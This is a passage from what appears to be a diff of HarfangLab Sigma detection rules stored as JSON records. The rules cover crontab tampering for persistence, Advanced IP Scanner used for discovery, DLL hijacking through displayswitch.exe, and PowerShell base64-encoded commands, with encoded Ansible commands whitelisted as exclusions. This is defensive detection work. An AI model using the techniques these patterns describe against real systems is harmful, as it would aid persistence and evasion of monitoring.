- '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_kalilab:\n        ProcessCommandLine|contains: '/var/www/kalilab/'\n\n    exclusion_snap:\n        ProcessImage|endswith: '/snap-update-ns'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5046eefb-f36f-4d3a-a86e-0e7c3ddfcccc",
+  "rule_name": "Crontab-Related Files Modified",
+  "rule_description": "Detects a suspicious attempt to modify \"/etc/crontab\" or other crontab-related files.\nThese files contain scheduled tasks, usually run with root privileges, to help maintain the system.\nAn attacker could use this files to add a malicious cron jobs for persistence.\nIt is recommended to check the modified crontab file for malicious content as well as to look for other suspicious actions related to the process responsible for this modification.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5048f6e6-e1a6-4d99-adae-e0fdb0ab4d43",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069811Z",
+  "creation_date": "2026-03-23T11:45:34.069813Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069817Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.advanced-ip-scanner.com/",
+    "https://www.bleepingcomputer.com/news/security/new-ymir-ransomware-partners-with-rustystealer-in-attacks/",
+    "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/",
+    "https://attack.mitre.org/techniques/T1595/001/"
+  ],
+  "name": "t1595_001_advanced_ip_scanner.yml",
+  "content": "title: Advanced IP Scanner Executed from a Suspicious Location\nid: 5048f6e6-e1a6-4d99-adae-e0fdb0ab4d43\ndescription: |\n    Detects the execution of the Advanced IP Scanner tool in a suspicious location.\n    Advanced IP Scanner is a network scanning and utilities tool used for various network-related tasks, including IP range scanning and data collection.\n    Adversaries may use this tool to enumerate the network and aid in lateral movement.\n    It is recommended to verify the legitimacy of its usage in the environment.\nreferences:\n    - https://www.advanced-ip-scanner.com/\n    - https://www.bleepingcomputer.com/news/security/new-ymir-ransomware-partners-with-rustystealer-in-attacks/\n    - https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/\n    - https://attack.mitre.org/techniques/T1595/001/\ndate: 2025/11/03\nmodified: 2025/11/24\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1216.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.AdvancedIPScanner\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Company: 'Famatech Corp.'\n        Product: 'Advanced IP Scanner'\n\n    filter_legitimate:\n        Image:\n            - '?:\\Program Files (x86)\\Advanced IP Scanner*\\advanced_ip_scanner.exe'\n            - '?:\\Program Files\\Advanced IP Scanner*\\advanced_ip_scanner.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\Advanced IP Scanner*\\advanced_ip_scanner.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\Advanced IP Scanner*\\advanced_ip_scanner.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Advanced IP Scanner*\\advanced_ip_scanner.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5048f6e6-e1a6-4d99-adae-e0fdb0ab4d43",
+  "rule_name": "Advanced IP Scanner Executed from a Suspicious Location",
+  "rule_description": "Detects the execution of the Advanced IP Scanner tool in a suspicious location.\nAdvanced IP Scanner is a network scanning and utilities tool used for various network-related tasks, including IP range scanning and data collection.\nAdversaries may use this tool to enumerate the network and aid in lateral movement.\nIt is recommended to verify the legitimacy of its usage in the environment.\n",
+  "rule_creation_date": "2025-11-03",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5060a37d-0510-4be7-b5ab-f0d8f36d2d3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599404Z",
+  "creation_date": "2026-03-23T11:45:34.599408Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599420Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_displayswitch.yml",
+  "content": "title: DLL Hijacking via displayswitch.exe\nid: 5060a37d-0510-4be7-b5ab-f0d8f36d2d3b\ndescription: |\n    Detects potential Windows DLL Hijacking via displayswitch.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'displayswitch.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\duser.dll'\n            - '\\dwmapi.dll'\n            - '\\policymanager.dll'\n            - '\\UxTheme.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5060a37d-0510-4be7-b5ab-f0d8f36d2d3b",
+  "rule_name": "DLL Hijacking via displayswitch.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via displayswitch.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "506a49d4-0c48-4c47-a6bb-9c4dbfec663c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622910Z",
+  "creation_date": "2026-03-23T11:45:34.622912Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622917Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/threat-detection-report/techniques/powershell/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1132/001/",
+    "https://attack.mitre.org/techniques/T1027/"
+  ],
+  "name": "t1059_001_powershell_base64_cmd.yml",
+  "content": "title: PowerShell Base64 Encoded Command Execution\nid: 506a49d4-0c48-4c47-a6bb-9c4dbfec663c\ndescription: |\n    Detects the execution of PowerShell launching a base64-encoded command.\n    Attackers may encode their PowerShell command to bypass security tools that perform pattern matching on suspicious scripts.\n    It is recommended to check the encoded command for malicious content (for instance by selecting the base64 payload, right clicking and selecting 'Decode base64') and to analyze the execution context of the PowerShell binary.\nreferences:\n    - https://redcanary.com/threat-detection-report/techniques/powershell/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1132/001/\n    - https://attack.mitre.org/techniques/T1027/\ndate: 2021/04/13\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1132.001\n    - attack.defense_evasion\n    - attack.t1027\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Obfuscation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_process:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_cmd:\n        CommandLine|contains:\n            - ' -e '\n            - ' -ec '\n            - ' -en '\n            - ' -enc '\n            - ' -enco '\n            - ' -encod '\n            - ' -encode '\n            - ' -encoded '\n            - ' -encodedc '\n            - ' -encodedco '\n            - ' -encodedcom '\n            - ' -encodedcomm '\n            - ' -encodedcomma '\n            - ' -encodedcomman '\n            - ' -encodedcommand '\n            - ' /e '\n            - ' /ec '\n            - ' /en '\n            - ' /enc '\n            - ' /enco '\n            - ' /encod '\n            - ' /encode '\n            - ' /encoded '\n            - ' /encodedc '\n            - ' /encodedco '\n            - ' /encodedcom '\n            - ' /encodedcomm '\n            - ' /encodedcomma '\n            - ' /encodedcomman '\n            - ' /encodedcommand '\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_sigilium:\n        ParentImage|endswith:\n            - ':\\Program Files\\sigilium-plugin\\app-*\\Sigilium Email Signatures.exe'\n            - '\\AppData\\Local\\Programs\\sigilium-plugin\\Sigilium Email Signatures.exe'\n        GrandparentImage|endswith:\n            - ':\\Program Files\\sigilium-plugin\\app-*\\Sigilium Email Signatures.exe'\n            - '\\AppData\\Local\\Programs\\sigilium-plugin\\Sigilium Email Signatures.exe'\n\n    exclusion_azuread:\n        ParentImage:\n            - '?:\\Program Files\\Azure Ad Connect Health Adfs Agent\\Insights\\Microsoft.Identity.Health.Adfs.InsightsService.exe'\n            - '?:\\Program Files\\Microsoft Azure AD Connect Health Agent\\Microsoft.Identity.Health.AgentV??.Service.exe'\n\n    exclusion_vscode:\n        ParentImage:\n            - '*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n            - '?:\\Program Files\\Microsoft VS Code\\Code.exe'\n        GrandparentImage:\n            - '*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n            - '?:\\Program Files\\Microsoft VS Code\\Code.exe'\n\n    exclusion_glpi:\n        GrandparentImage: '?:\\Program Files\\GLPI-Agent\\perl\\bin\\glpi-agent.exe'\n        # CurrentDirectory: '?:\\Program Files\\GLPI-Agent\\perl\\bin'  # too many different seen\n\n    # https://www.chadduffey.com/2020/06/Ansible-PowerShell.html\n    exclusion_ansible1:\n        ParentImage: '?:\\Windows\\System32\\cmd.exe'\n        GrandparentImage: '?:\\Windows\\System32\\winrshost.exe'\n        CommandLine:\n            - 'PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA='\n            - 'PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBhAFEAQgBtAEEAQwBBAEEASwBBAEEAawBBAEYAQQBBAFUAdwBCAFcAQQBHAFUAQQBjAGcAQgB6AEEARwBrAEEAYgB3AEIAdQBBAEYAUQBBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQQB1AEEARgBBAEEAVQB3AEIAVwBBAEcAVQBBAGMAZwBCAHoAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEATABRAEIAcwBBAEgAUQBBAEkAQQBCAGIAQQBGAFkAQQBaAFEAQgB5AEEASABNAEEAYQBRAEIAdgBBAEcANABBAFgAUQBBAGkAQQBEAE0AQQBMAGcAQQB3AEEAQwBJAEEASwBRAEEAZwBBAEgAcwBBAEMAZwBBAG4AQQBIAHMAQQBJAGcAQgBtAEEARwBFAEEAYQBRAEIAcwBBAEcAVQBBAFoAQQBBAGkAQQBEAG8AQQBkAEEAQgB5AEEASABVAEEAWgBRAEEAcwBBAEMASQBBAGIAUQBCAHoAQQBHAGMAQQBJAGcAQQA2AEEAQwBJAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBnAEEASABJAEEAWgBRAEIAeABBAEgAVQBBAGEAUQBCAHkAQQBHAFUAQQBjAHcAQQBnAEEARgBBAEEAYgB3AEIAMwBBAEcAVQBBAGMAZwBCAFQAQQBHAGcAQQBaAFEAQgBzAEEARwB3AEEASQBBAEIAMgBBAEQATQBBAEwAZwBBAHcAQQBDAEEAQQBiAHcAQgB5AEEAQwBBAEEAYgBnAEIAbABBAEgAYwBBAFoAUQBCAHkAQQBDAEkAQQBmAFEAQQBuAEEAQQBvAEEAWgBRAEIANABBAEcAawBBAGQAQQBBAGcAQQBEAEUAQQBDAGcAQgA5AEEAQQBvAEEASgBBAEIAbABBAEgAZwBBAFoAUQBCAGoAQQBGADgAQQBkAHcAQgB5AEEARwBFAEEAYwBBAEIAdwBBAEcAVQBBAGMAZwBCAGYAQQBIAE0AQQBkAEEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGEAUQBCAHUAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEAZgBBAEEAZwBBAEUAOABBAGQAUQBCADAAQQBDADAAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEMAZwBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQQBnAEEARAAwAEEASQBBAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBGADgAQQBjAHcAQgAwAEEASABJAEEATABnAEIAVABBAEgAQQBBAGIAQQBCAHAAQQBIAFEAQQBLAEEAQgBBAEEAQwBnAEEASQBnAEIAZwBBAEQAQQBBAFkAQQBBAHcAQQBHAEEAQQBNAEEAQgBnAEEARABBAEEASQBnAEEAcABBAEMAdwBBAEkAQQBBAHkAQQBDAHcAQQBJAEEAQgBiAEEARgBNAEEAZABBAEIAeQBBAEcAawBBAGIAZwBCAG4AQQBGAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAUABBAEgAQQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgB6AEEARgAwAEEATwBnAEEANgBBAEYASQBBAFoAUQBCAHQAQQBHADgAQQBkAGcAQgBsAEEARQBVAEEAYgBRAEIAdwBBAEgAUQBBAGUAUQBCAEYAQQBHADQAQQBkAEEAQgB5AEEARwBrAEEAWgBRAEIAegBBAEMAawBBAEMAZwBCAEoAQQBHAFkAQQBJAEEAQQBvAEEAQwAwAEEAYgBnAEIAdgBBAEgAUQBBAEkAQQBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQQB1AEEARQB3AEEAWgBRAEIAdQBBAEcAYwBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBsAEEASABFAEEASQBBAEEAeQBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBkAEEAQgBvAEEASABJAEEAYgB3AEIAMwBBAEMAQQBBAEkAZwBCAHAAQQBHADQAQQBkAGcAQgBoAEEARwB3AEEAYQBRAEIAawBBAEMAQQBBAGMAQQBCAGgAQQBIAGsAQQBiAEEAQgB2AEEARwBFAEEAWgBBAEEAaQBBAEMAQQBBAGYAUQBBAEsAQQBGAE0AQQBaAFEAQgAwAEEAQwAwAEEAVgBnAEIAaABBAEgASQBBAGEAUQBCAGgAQQBHAEkAQQBiAEEAQgBsAEEAQwBBAEEATABRAEIATwBBAEcARQBBAGIAUQBCAGwAQQBDAEEAQQBhAGcAQgB6AEEARwA4AEEAYgBnAEIAZgBBAEgASQBBAFkAUQBCADMAQQBDAEEAQQBMAFEAQgBXAEEARwBFAEEAYgBBAEIAMQBBAEcAVQBBAEkAQQBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQgBiAEEARABFAEEAWABRAEEASwBBAEMAUQBBAFoAUQBCADQAQQBHAFUAQQBZAHcAQgBmAEEASABjAEEAYwBnAEIAaABBAEgAQQBBAGMAQQBCAGwAQQBIAEkAQQBJAEEAQQA5AEEAQwBBAEEAVwB3AEIAVABBAEcATQBBAGMAZwBCAHAAQQBIAEEAQQBkAEEAQgBDAEEARwB3AEEAYgB3AEIAagBBAEcAcwBBAFgAUQBBADYAQQBEAG8AQQBRAHcAQgB5AEEARwBVAEEAWQBRAEIAMABBAEcAVQBBAEsAQQBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQgBiAEEARABBAEEAWABRAEEAcABBAEEAbwBBAEoAZwBBAGsAQQBHAFUAQQBlAEEAQgBsAEEARwBNAEEAWAB3AEIAMwBBAEgASQBBAFkAUQBCAHcAQQBIAEEAQQBaAFEAQgB5AEEAQQA9AD0A'\n\n    exclusion_ansible2:\n        ParentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentImage: '?:\\Windows\\System32\\cmd.exe'\n        CommandLine:\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 